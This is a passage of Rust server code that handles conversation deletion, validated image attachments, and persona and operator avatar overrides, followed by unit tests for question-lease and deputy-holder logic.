10906        let thinking = ui.is_thinking(&talk.id);
10907        Ok(Json(TalkView::new(talk, thinking, &ui)))
10908    })
10909    .await
10910}
10911
10912/// `DELETE /api/talks/{id}`.
10913///
10914/// Removes the conversation's record and artifacts outright, unlike
10915/// [`talk_close`] which keeps the record as history. A turn already in
10916/// flight is not refused here the way [`run_delete`] refuses a live run:
10917/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10918/// under [`Talks::guard`], that the record they are about to write back is
10919/// still there, so a delete racing a turn is safe without this route having
10920/// to know a turn is running at all.
10921async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10922    blocking(move || {
10923        let id = resolve_talk(&ui.talks, &id)?;
10924        ui.talks.remove(&id)?;
10925        Ok(StatusCode::NO_CONTENT)
10926    })
10927    .await
10928}
10929
10930fn talk_ids(root: &FsPath) -> Vec<String> {
10931    std::fs::read_dir(root)
10932        .into_iter()
10933        .flatten()
10934        .flatten()
10935        .filter_map(|e| {
10936            let path = e.path();
10937            if path.extension().is_some_and(|ext| ext == "json") {
10938                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10939            } else {
10940                None
10941            }
10942        })
10943        .collect()
10944}
10945
10946/// Expand an id or short id to exactly one talk id.
10947fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10948    if plain_record_id(id) && store.path_of(id).is_file() {
10949        return Ok(id.to_owned());
10950    }
10951    pick(talk_ids(store.root()), id, "talk")
10952}
10953
10954/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10955/// future `talk-say`.
10956async fn talk_attachment_post(
10957    State(ui): State<Arc<Ui>>,
10958    Path(id): Path<String>,
10959    headers: HeaderMap,
10960    body: Bytes,
10961) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10962    let mime = validate_attachment(&headers, &body)?;
10963    let name = filename_header(&headers);
10964    let data = body.to_vec();
10965    blocking(move || {
10966        let id = resolve_talk(&ui.talks, &id)?;
10967        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10968        Ok((StatusCode::CREATED, Json(att)))
10969    })
10970    .await
10971}
10972
10973/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10974/// `<img>` tag in the transcript.
10975async fn talk_attachment_get(
10976    State(ui): State<Arc<Ui>>,
10977    Path((id, att)): Path<(String, String)>,
10978) -> ApiResult<Response> {
10979    blocking(move || {
10980        let id = resolve_talk(&ui.talks, &id)?;
10981        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10982            return Err(ApiError::not_found(format!(
10983                "talk {id} has no attachment `{att}`"
10984            )));
10985        };
10986        Ok(attachment_response(&meta.mime, data))
10987    })
10988    .await
10989}
10990
10991/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10992/// the icon setting, so changing it changes the URL.
10993fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10994    let id = avatar_encode(&p.id);
10995    format!(
10996        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10997        persona_icon::fingerprint(
10998            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10999        )
11000    )
11001}
11002
11003#[derive(Debug, Default, Deserialize)]
11004struct AvatarQuery {
11005    persona: Option<String>,
11006    /// Set by the page after the first load failed: skip the `icon`.
11007    builtin: Option<String>,
11008}
11009
11010/// Served with every built-in avatar: it is an image, so nothing else may run.
11011const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
11012
11013fn builtin_avatar(id: &str) -> Response {
11014    svg_avatar(persona_icon::builtin_svg(id))
11015}
11016
11017async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11018    raster_or_builtin(
11019        read_icon_file(&avatar_setting_path(&ui.home, None))
11020            .filter(|_| q.builtin.is_none())
11021            .as_deref(),
11022        persona_icon::operator_svg(),
11023    )
11024}
11025
11026fn svg_avatar(svg: &'static str) -> Response {
11027    (
11028        [
11029            (header::CONTENT_TYPE, "image/svg+xml"),
11030            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11031            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
11032            (header::CACHE_CONTROL, "no-cache"),
11033        ],
11034        svg,
11035    )
11036        .into_response()
11037}
11038
11039fn avatar_encode(value: &str) -> String {
11040    value
11041        .bytes()
11042        .map(|b| {
11043            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11044                char::from(b).to_string()
11045            } else {
11046                format!("%{b:02X}")
11047            }
11048        })
11049        .collect()
11050}
11051
11052// Display-only overrides live outside configuration and conversation records.
11053fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11054    let Some(id) = persona else {
11055        return home.join("avatars/operator.data");
11056    };
11057    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11058    let mut path = home.join("avatars/personas");
11059    for chunk in encoded.as_bytes().chunks(100) {
11060        path.push(std::str::from_utf8(chunk).expect("hex"));
11061    }
11062    path.join("icon.data")
11063}
11064
11065fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11066    match read_icon_file(&avatar_setting_path(home, Some(id))) {
11067        Some(value) if value == "builtin" => Some(String::new()),
11068        Some(value) => Some(value),
11069        None => configured.map(str::to_owned),
11070    }
11071}
11072
11073fn operator_icon_url(home: &FsPath) -> String {
11074    format!(
11075        "/avatars/operator.svg?v={}",
11076        persona_icon::fingerprint(
11077            read_icon_file(&avatar_setting_path(home, None))
11078                .as_deref()
11079                .or(Some(persona_icon::operator_svg()))
11080        )
11081    )
11082}
11083
11084fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11085    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11086        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11087            attachment_response(mime, bytes)
11088        }
11089        _ => svg_avatar(builtin),
11090    };
11091    response
11092        .headers_mut()
11093        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11094    response
11095}
11096
11097#[derive(Default, Deserialize)]
11098struct AvatarSettingsQuery {
11099    repo: Option<PathBuf>,
11100    persona: Option<String>,
11101    builtin: Option<String>,
11102    inherit: Option<String>,
11103}
11104
11105fn avatar_settings_specs(
11106    ui: &Ui,
11107    repo: Option<PathBuf>,
11108) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11109    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11110    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11111        .map(|cfg| cfg.talk.personas)
11112        .unwrap_or_default();
11113    Ok((repo, specs))
11114}
11115
11116fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11117    let Ok(entries) = std::fs::read_dir(path) else {
11118        return;
11119    };
11120    for entry in entries.flatten() {
11121        let name = entry.file_name().to_string_lossy().into_owned();
11122        if name == "icon.data" {
11123            let bytes: Option<Vec<u8>> = prefix
11124                .as_bytes()
11125                .chunks(2)
11126                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11127                .collect();
11128            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11129                out.push(id);
11130            }
11131        } else if name.len() <= 100
11132            && !name.is_empty()
11133            && name.bytes().all(|b| b.is_ascii_hexdigit())
11134            && entry.file_type().is_ok_and(|t| t.is_dir())
11135        {
11136            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11137        }
11138    }
11139}
11140
11141async fn avatar_settings_get(
11142    State(ui): State<Arc<Ui>>,
11143    Query(q): Query<AvatarSettingsQuery>,
11144) -> ApiResult<Json<serde_json::Value>> {
11145    blocking(move || {
11146        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11147        let mut catalog = persona::catalog(&specs);
11148        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11149        let mut saved = Vec::new();
11150        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11151        for id in saved {
11152            if !catalog.iter().any(|p| p.id == id) {
11153                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11154            }
11155        }
11156        let personas: Vec<_> = catalog.iter().map(|p| {
11157            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11158            let override_state = match saved.as_deref() {
11159                Some("builtin") => "builtin",
11160                Some(_) => "custom",
11161                None => "inherit",
11162            };
11163            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11164            serde_json::json!({"id":p.id,"name":p.name,
11165                "override_state":override_state,"has_config_icon":p.icon.is_some(),
11166                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11167                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11168        }).collect();
11169        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11170    }).await
11171}
11172
11173async fn settings_persona_avatar(
11174    State(ui): State<Arc<Ui>>,
11175    Query(q): Query<AvatarSettingsQuery>,
11176) -> ApiResult<Response> {
11177    blocking(move || {
11178        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11179        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11180        let found = persona::find(&specs, id);
11181        let icon =
11182            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11183        Ok(raster_or_builtin(
11184            icon.as_deref().filter(|_| q.builtin.is_none()),
11185            persona_icon::builtin_svg(id),
11186        ))
11187    })
11188    .await
11189}
11190
11191fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11192    if q.persona
11193        .as_ref()
11194        .is_some_and(|p| p.is_empty() || p.len() > 4096)
11195    {
11196        return Err(ApiError::bad_request("invalid persona id"));
11197    }
11198    Ok(())
11199}
11200
11201async fn avatar_settings_put(
11202    State(ui): State<Arc<Ui>>,
11203    Query(q): Query<AvatarSettingsQuery>,
11204    Json(upload): Json<MagiIconUpload>,
11205) -> ApiResult<Json<serde_json::Value>> {
11206    blocking(move || {
11207        validate_avatar_target(&q)?;
11208        save_icon_file(
11209            &avatar_setting_path(&ui.home, q.persona.as_deref()),
11210            &upload.icon,
11211        )
11212        .map_err(ApiError::bad_request_from)?;
11213        Ok(Json(serde_json::json!({"saved":true})))
11214    })
11215    .await
11216}
11217
11218async fn avatar_settings_delete(
11219    State(ui): State<Arc<Ui>>,
11220    Query(q): Query<AvatarSettingsQuery>,
11221) -> ApiResult<Json<serde_json::Value>> {
11222    blocking(move || {
11223        validate_avatar_target(&q)?;
11224        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11225        if q.persona.is_some() && q.inherit.is_none() {
11226            atomic_icon_write(&path, "builtin")?;
11227        } else {
11228            match std::fs::remove_file(path) {
11229                Ok(()) => (),
11230                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11231                Err(e) => return Err(anyhow::Error::from(e).into()),
11232            }
11233        }
11234        Ok(Json(serde_json::json!({"saved":true})))
11235    })
11236    .await
11237}
11238
11239// The global MAGI icon is deliberately independent of repository configuration.
11240fn magi_icon_path(home: &FsPath) -> PathBuf {
11241    home.join("magi-icon.data")
11242}
11243
11244fn read_magi_icon(home: &FsPath) -> Option<String> {
11245    read_icon_file(&magi_icon_path(home))
11246}
11247
11248fn read_icon_file(path: &FsPath) -> Option<String> {
11249    let metadata = std::fs::metadata(path).ok()?;
11250    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11251        return None;
11252    }
11253    let file = std::fs::File::open(path).ok()?;
11254    use std::io::Read;
11255    let mut text = String::new();
11256    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11257        .read_to_string(&mut text)
11258        .ok()?;
11259    if text.len() > persona_icon::ICON_MAX_BYTES {
11260        return None;
11261    }
11262    if text == "builtin" {
11263        return Some(text);
11264    }
11265    validate_uploaded_icon(&text).ok()?;
11266    Some(text)
11267}
11268
11269fn magi_icon_url(home: &FsPath) -> String {
11270    format!(
11271        "/avatars/magi?v={}",
11272        persona_icon::fingerprint(read_magi_icon(home).as_deref())
11273    )
11274}
11275
11276async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11277    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11278}
11279
11280#[derive(Deserialize)]
11281struct MagiIconUpload {
11282    icon: String,
11283}
11284
11285fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11286    save_icon_file(&magi_icon_path(home), icon)
11287}
11288
11289fn validate_uploaded_icon(icon: &str) -> Result<()> {
11290    if !icon.starts_with("data:") {
11291        anyhow::bail!("upload a raster image");
11292    }
11293    let (mime, bytes) = persona_icon::load(icon)?;
11294    if sniffed_mime(&bytes) != Some(mime) {
11295        anyhow::bail!("image content does not match its type");
11296    }
11297    Ok(())
11298}
11299
11300fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11301    validate_uploaded_icon(icon)?;
11302    atomic_icon_write(path, icon)
11303}
11304
11305fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11306    let home = path.parent().expect("icon parent");
11307    std::fs::create_dir_all(home)?;
11308    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11309    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11310    let result = (|| -> Result<()> {
11311        use std::io::Write;
11312        let mut file = std::fs::OpenOptions::new()
11313            .write(true)
11314            .create_new(true)
11315            .open(&temp)?;
11316        file.write_all(icon.as_bytes())?;
11317        file.sync_all()?;
11318        std::fs::rename(&temp, path)?;
11319        Ok(())
11320    })();
11321    let _ = std::fs::remove_file(temp);
11322    result?;
11323    Ok(())
11324}
11325
11326async fn magi_icon_put(
11327    State(ui): State<Arc<Ui>>,
11328    Json(upload): Json<MagiIconUpload>,
11329) -> ApiResult<Json<serde_json::Value>> {
11330    blocking(move || {
11331        if !upload.icon.starts_with("data:") {
11332            return Err(ApiError::bad_request("upload a raster image"));
11333        }
11334        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11335        if sniffed_mime(&bytes) != Some(mime) {
11336            return Err(ApiError::bad_request(
11337                "image content does not match its type",
11338            ));
11339        }
11340        save_magi_icon(&ui.home, &upload.icon)?;
11341        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11342    })
11343    .await
11344}
11345
11346async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11347    blocking(move || {
11348        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11349            Ok(()) => (),
11350            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11351            Err(e) => return Err(anyhow::Error::from(e).into()),
11352        }
11353        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11354    })
11355    .await
11356}
11357
11358async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11359    let icon = (q.builtin.is_none())
11360        .then(|| read_magi_icon(&ui.home))
11361        .flatten();
11362    let mut response = match icon
11363        .as_deref()
11364        .and_then(|icon| persona_icon::load(icon).ok())
11365    {
11366        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11367            attachment_response(mime, bytes)
11368        }
11369        _ => svg_avatar(persona_icon::magi_svg()),
11370    };
11371    response
11372        .headers_mut()
11373        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11374    response
11375}
11376
11377/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11378/// operator's raster `icon` when it resolves and its bytes agree with its
11379/// type, the built-in SVG otherwise. Display only; every failure is a warning
11380/// and the built-in avatar, never an error response.
11381async fn talk_avatar(
11382    State(ui): State<Arc<Ui>>,
11383    Path(id): Path<String>,
11384    Query(q): Query<AvatarQuery>,
11385) -> ApiResult<Response> {
11386    blocking(move || {
11387        let id = resolve_talk(&ui.talks, &id)?;
11388        let talk = ui.talks.get(&id)?;
11389        let wanted = q
11390            .persona
11391            .as_deref()
11392            .map(str::trim)
11393            .filter(|p| !p.is_empty())
11394            .unwrap_or(&talk.persona)
11395            .to_owned();
11396        let specs = match talk.config() {
11397            Ok(cfg) => cfg.talk.personas,
11398            Err(e) => {
11399                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11400                Vec::new()
11401            }
11402        };
11403        let found = persona::find(&specs, &wanted);
11404        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11405        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11406        let icon = effective_persona_icon(
11407            &ui.home,
11408            &wanted,
11409            found.as_ref().and_then(|p| p.icon.as_deref()),
11410        );
11411        if found.is_none() && icon.is_none() {
11412            return Ok(builtin_avatar(persona::DEFAULT_ID));
11413        }
11414        let Some(icon) = icon
11415            .as_deref()
11416            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11417        else {
11418            return Ok(builtin_avatar(&wanted));
11419        };
11420        let Some(found) = found else {
11421            return Ok(raster_or_builtin(
11422                Some(icon),
11423                persona_icon::builtin_svg(&wanted),
11424            ));
11425        };
11426        match persona_icon::load(icon) {
11427            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11428                let mut res = attachment_response(mime, bytes);
11429                res.headers_mut().insert(
11430                    header::CACHE_CONTROL,
11431                    header::HeaderValue::from_static("no-cache"),
11432                );
11433                Ok(res)
11434            }
11435            Ok((mime, _)) => {
11436                tracing::warn!(
11437                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11438                    found.id
11439                );
11440                Ok(builtin_avatar(&found.id))
11441            }
11442            Err(e) => {
11443                tracing::warn!(
11444                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11445                    found.id
11446                );
11447                Ok(builtin_avatar(&found.id))
11448            }
11449        }
11450    })
11451    .await
11452}
11453
11454/// Validate an attachment upload's declared `Content-Type` and the bytes
11455/// themselves, returning the canonical mime on success.
11456///
11457/// Two checks, both required: the header has to name one of
11458/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11459/// simply never in the list, active content rather than a picture, the same
11460/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11461/// magic number has to agree. The second is what stops a mislabeled upload -
11462/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11463/// a declared type is a claim, not a fact, so it is never trusted alone.
11464fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11465    if data.len() > ATTACHMENT_MAX_BYTES {
11466        return Err(ApiError::bad_request(format!(
11467            "attachment is {} bytes, over the {} MiB limit",
11468            data.len(),
11469            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11470        ))
11471        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11472    }
11473    if data.is_empty() {
11474        return Err(ApiError::bad_request("attachment is empty"));
11475    }
11476    let declared = declared_mime(headers)?;
11477    match sniffed_mime(data) {
11478        Some(sniffed) if sniffed == declared => Ok(declared),
11479        Some(sniffed) => Err(ApiError::bad_request(format!(
11480            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11481        ))),
11482        None => Err(ApiError::bad_request(
11483            "the file's bytes do not match any accepted image format",
11484        )),
11485    }
11486}
11487
11488/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11489/// and nothing else - parameters like `; charset=` are stripped, but the
11490/// value itself is not otherwise interpreted.
11491fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11492    let raw = headers
11493        .get(header::CONTENT_TYPE)
11494        .and_then(|v| v.to_str().ok())
11495        .unwrap_or("")
11496        .split(';')
11497        .next()
11498        .unwrap_or("")
11499        .trim()
11500        .to_ascii_lowercase();
11501    ATTACHMENT_MIME_WHITELIST
11502        .iter()
11503        .find(|&&m| m == raw)
11504        .copied()
11505        .ok_or_else(|| {
11506            if raw == "image/svg+xml" {
11507                ApiError::bad_request(
11508                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11509                     not just a picture",
11510                )
11511            } else if raw.is_empty() {
11512                ApiError::bad_request("Content-Type is required for an attachment upload")
11513            } else {
11514                ApiError::bad_request(format!(
11515                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11516                     image/gif or image/webp"
11517                ))
11518            }
11519        })
11520}
11521
11522/// Identify an image by its magic number, independent of whatever
11523/// `Content-Type` claimed.
11524fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11525    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11526        Some("image/png")
11527    } else if data.starts_with(b"\xff\xd8\xff") {
11528        Some("image/jpeg")
11529    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11530        Some("image/gif")
11531    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11532        Some("image/webp")
11533    } else {
11534        None
11535    }
11536}
11537
11538/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11539/// display - see [`talk::Attachment::name`]'s doc on why it never
11540/// contributes to a path. A missing or blank header (curl without it, an
11541/// older front end) falls back to a generic name rather than refusing the
11542/// upload over a field that is cosmetic.
11543fn filename_header(headers: &HeaderMap) -> String {
11544    headers
11545        .get(FILENAME_HEADER)
11546        .and_then(|v| v.to_str().ok())
11547        .map(str::trim)
11548        .filter(|s| !s.is_empty())
11549        .unwrap_or("attachment")
11550        .to_owned()
11551}
11552
11553/// Every attachment `GET` response: the mime re-validated against the same
11554/// closed whitelist the upload route enforces - never the string trusted
11555/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11556/// cannot decide it knows better than the type we send. Unlike a panel asset
11557/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11558/// document renders inline, not agent-authored HTML in a sandboxed frame.
11559fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11560    let content_type = ATTACHMENT_MIME_WHITELIST
11561        .iter()
11562        .find(|&&m| m == mime)
11563        .copied()
11564        .unwrap_or("application/octet-stream");
11565    (
11566        [
11567            (header::CONTENT_TYPE, content_type),
11568            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11569        ],
11570        body,
11571    )
11572        .into_response()
11573}
11574
11575/// The configuration for a repository, read off the disk for this request.
11576///
11577/// Through [`blocking`] because discovery reads and merges several TOML files,
11578/// and because the alternative - caching it in [`Ui`] at startup - would mean
11579/// the operator's phone kept interviewing with a roster they had already
11580/// changed, with no way to reload it but restarting the server they are not
11581/// sitting in front of.
11582async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11583    let repo = repo.to_path_buf();
11584    blocking(move || {
11585        let (cfg, _) = Config::discover(&repo, None)?;
11586        Ok(cfg)
11587    })
11588    .await
11589}
11590
11591/// The one prefix rule, used for both runs and tasks: a leading match for a
11592/// full id, a trailing match for the short form an operator reads off a
11593/// report. Written here rather than borrowed from `queue::resolve_id` because
11594/// the UI needs the two failures as different status codes, and telling them
11595/// apart from an error message is not something to build a route on.
11596fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11597    let mut hits = ids
11598        .into_iter()
11599        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11600    match (hits.next(), hits.next()) {
11601        (Some(one), None) => Ok(one),
11602        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11603        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11604            "`{prefix}` matches more than one {what}, including {a} and {b}"
11605        ))),
11606    }
11607}
11608
11609#[cfg(test)]
11610mod tests {
11611
11612    #[test]
11613    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11614        let dir = tempfile::tempdir().unwrap();
11615        let store = ask::Questions::at(dir.path().join("questions"));
11616        let mut q = Question::new(
11617            "task".to_owned(),
11618            "conduct".to_owned(),
11619            "conduct".to_owned(),
11620            "choose".to_owned(),
11621            String::new(),
11622            vec!["keep".to_owned()],
11623        );
11624        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11625        q.say("why?").unwrap();
11626        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11627        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11628        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11629        store.put(&mut q).unwrap();
11630        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11631        assert_eq!(store.count_needs_owner(), 1);
11632        store.beat(&q.id, ask::WaiterKind::Deputy);
11633        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11634        assert_eq!(store.count_needs_owner(), 0);
11635        let mut stale = store.read_lease(&q.id).unwrap();
11636        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11637        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11638        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11639        assert!(view.deputy_exhausted);
11640        assert!(view.waiting_on_agent);
11641        assert_eq!(view.question.choices, ["keep"]);
11642        store.drop_lease(&q.id);
11643        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11644        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11645    }
11646
11647    #[test]
11648    fn holder_reads_the_lease_not_the_record() {
11649        let mut q = Question::new(
11650            "run".to_owned(),
11651            "implement".to_owned(),
11652            "impl-A".to_owned(),
11653            "which?".to_owned(),
11654            String::new(),
11655            Vec::new(),
11656        );
11657        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11658        q.cwd = Some("/tmp".to_owned());
11659        assert_eq!(holder_of(&q, None), Some("nobody"));
11660        let beat = |kind, ago: i64| ask::Lease {
11661            kind,
11662            pid: 1,
11663            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11664                .unwrap(),
11665        };
11666        let fresh = beat(ask::WaiterKind::Asker, 1);
11667        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11668        let daemon = beat(ask::WaiterKind::Daemon, 1);
11669        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11670        let stale = beat(ask::WaiterKind::Asker, 3600);
11671        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11672
11673        // A conductor question says "deputy" only while one is attached and
11674        // alive, and "nobody" - never silence - when nothing ever listened.
11675        let mut c = Question::new(
11676            "task".to_owned(),
11677            crate::conduct::NODE.to_owned(),
11678            "conduct".to_owned(),
11679            "which?".to_owned(),
11680            String::new(),
11681            Vec::new(),
11682        );
11683        assert_eq!(holder_of(&c, None), Some("nobody"));
11684        c.cwd = Some("/tmp".to_owned());
11685        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11686        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11687        let deputy = beat(ask::WaiterKind::Deputy, 1);
11688        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11689        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11690
11691        // A release-watch question: nobody until a deputy is attached.
11692        let mut r = Question::new(
11693            String::new(),
11694            crate::bump::NOTICE_NODE.to_owned(),
11695            "release-watch".to_owned(),
11696            "stuck?".to_owned(),
11697            String::new(),
11698            vec!["hold".to_owned()],
11699        );
11700        assert_eq!(holder_of(&r, None), Some("nobody"));
11701        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11702        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11703        // A choice-less bump notice is nobody's question at all.
11704        r.deputy = None;
11705        r.seat = "bump".to_owned();
11706        assert_eq!(holder_of(&r, None), None);
11707
11708        // A merge approval is the same: nobody until a deputy is attached
11709        // and alive, never a silent "no holder".
11710        let mut m = Question::new(
11711            "run".to_owned(),
11712            crate::land::APPROVAL_NODE.to_owned(),
11713            "land".to_owned(),
11714            "merge?".to_owned(),
11715            String::new(),
11716            Vec::new(),
11717        );
11718        assert_eq!(holder_of(&m, None), Some("nobody"));
11719        assert_eq!(
11720            holder_of(&m, Some(&fresh)),
11721            Some("asker"),
11722            "a live explicit wait is a listener even before a deputy is attached"
11723        );
11724        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11725        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11726        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11727        assert_eq!(holder_of(&m, None), Some("nobody"));
11728    }
11729
11730    fn stub_config() -> Config {
11731        // An explicit roster, so the result never depends on which agent CLIs
11732        // this machine has installed.
11733        Config {
11734            agents: vec![crate::config::AgentSpec {
11735                id: "stub".to_owned(),
11736                kind: AgentKind::Command,
11737                model: None,
11738                command: vec!["true".to_owned()],
11739                extra_args: Vec::new(),
11740                env: Default::default(),
11741                prompt_delivery: None,
11742                max_turn_secs: None,
11743            }],
11744            ..Config::default()
11745        }
11746    }
11747
11748    fn plain_question(seat: &str) -> Question {
11749        Question::new(
11750            String::new(),
11751            "n".to_owned(),
11752            seat.to_owned(),
11753            "s".to_owned(),
11754            String::new(),
11755            Vec::new(),
11756        )
11757    }
11758
11759    #[test]
11760    fn deputies_enabled_follows_the_config() {
11761        let on = stub_config();
11762        assert!(crate::deputy::can_start(Some(&on), ""));
11763        assert!(crate::deputy::can_start(Some(&on), "stub"));
11764        let mut off = on.clone();
11765        off.daemon.max_deputies = 0;
11766        assert!(!crate::deputy::can_start(Some(&off), ""));
11767        let mut empty = on;
11768        empty.agents.clear();
11769        assert!(!crate::deputy::can_start(Some(&empty), ""));
11770        assert!(!crate::deputy::can_start(None, ""));
11771    }
11772
11773    #[test]
11774    fn question_views_load_the_config_once() {
